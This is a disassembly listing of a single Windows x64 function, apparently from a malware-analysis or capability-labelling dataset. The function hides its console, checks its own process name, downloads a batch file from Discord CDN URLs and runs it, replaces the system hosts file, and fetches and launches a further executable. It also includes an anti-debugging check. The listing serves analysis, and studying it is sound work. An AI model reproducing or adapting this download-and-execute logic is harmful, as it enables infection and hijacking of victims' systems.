Function at 0x140061da0
Capabilities:
Create process on windows
Download url
Execute command
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x140b44158]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov rbx, rdx
xor r12d, r12d
mov dword [rsp + 0x50], r12d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rbx]
mov qword [rsp + 0x50], rcx
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], r12b
jne 0x140061e00
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.1400503c0
nop
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x80]
call fcn.14005d7e0
nop
lea rcx, [rbp - 0x80]
call fcn.14005b480
lea r15, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae r15, qword [rbp - 0x40]
mov r14, qword [rbp - 0x30]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x60], 0
mov dword [rsp + 0x50], 5
test r14, r14
je 0x140061f4a
cmp r14, 0x7fffffff
ja 0x14006219c
mov dword [rsp + 0x20], r12d
xor r9d, r9d
mov r8d, r14d
mov rdx, r15
mov ecx, 0xfde9
call fcn.1400c4500
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x1400621a7
movsxd rcx, ebx
mov rdx, qword [rbp - 0x50]
cmp rcx, rdx
ja 0x140061ec9
lea rax, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rax, qword [rbp - 0x60]
mov qword [rbp - 0x50], rcx
mov byte [rax + rcx], 0
jmp 0x140061f1c
mov rsi, rcx
sub rsi, rdx
mov r8, qword [rbp - 0x48]
mov rax, r8
sub rax, rdx
cmp rsi, rax
ja 0x140061f05
mov qword [rbp - 0x50], rcx
lea rdi, [rbp - 0x60]
cmp r8, 0x10
cmovae rdi, qword [rbp - 0x60]
add rdi, rdx
mov r8, rsi
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
mov byte [rdi + rsi], 0
jmp 0x140061f1c
mov byte [rsp + 0x20], 0
mov r9, rsi
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.1400512c0
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae r9, qword [rbp - 0x60]
mov dword [rsp + 0x20], ebx
mov r8d, r14d
mov rdx, r15
mov ecx, 0xfde9
call fcn.1400c4500
shr rax, 0x20
test eax, eax
jne 0x1400621af
lea rdx, [rbp - 0x60]
lea rbx, [0x140b7d698]
mov rcx, rbx
call fcn.140053950
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140061f9b
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061f96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140061f96
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c307c
cmp qword [0x140b7d6b0], 0x10
cmovae rbx, qword [0x140b7d698]
mov r8, qword [0x140b7d6a8]
cmp r8, 0xc
jne 0x140061fcb
lea rdx, str.CastleBP.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140061fe7
mov r9d, 0x51010
lea r8, str.Error_
lea rdx, str.Process_Name_Invaild_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.C:Windows_n011110.bat
lea rdx, str.https:__cdn.discordapp.com_attachments_1084883831221403648_1127983461488144384_close_emu.bat
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, str.C:Windows_n011110.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.C:WindowsSystem32driversetchosts
lea rdx, str.https:__cdn.discordapp.com_attachments_1084883831221403648_1162338757144485909_hosts_ex653b9352is65291e52hma08cb3ce0af6c2984cae906e293c37993f2708090dcf23041d1d745cc6e6802d
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.C:Windowscchecker.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_1084883831221403648_1156670922577686678_cchecker.exe_ex6515d13dis65147fbdhm5b2417b9e020bd2a718ced77daedda0227a03645a3b389fdc3c28dcb7b35d9b4
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.C:Windowscchecker.exe
lea rcx, [rsp + 0x60]
call fcn.140050250
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp + 0x34], xmm0
mov dword [rbp + 0x44], eax
mov dword [rbp - 0x20], 0x68
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rax
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rdx, qword [rsp + 0x60]
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea rcx, [rsp + 0x60]
call fcn.140052f10
mov dword [0x140b7d278], 0x3e8
mov byte [0x140b7d273], 1
mov byte [0x140b7d27c], 1
mov byte [0x140b7d27d], 1
mov byte [0x140b7d27e], 0
mov byte [0x140b7d280], 0
mov byte [0x140b7d27f], 1
call fcn.14005f8f0
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140062182
call fcn.14005b650
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140059380
nop
lea rcx, [rbp - 0x40]
call fcn.14005b480
xor eax, eax
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.1400c3020
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
lea rdx, str.IsDebuggerPresent
lea rcx, [rsp + 0x60]
call fcn.140052010
mov rcx, rax
call fcn.14005bf10
nop
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.14005b400
int3
mov ecx, eax
call fcn.14005b440
int3
mov ecx, eax
call fcn.14005b440
int3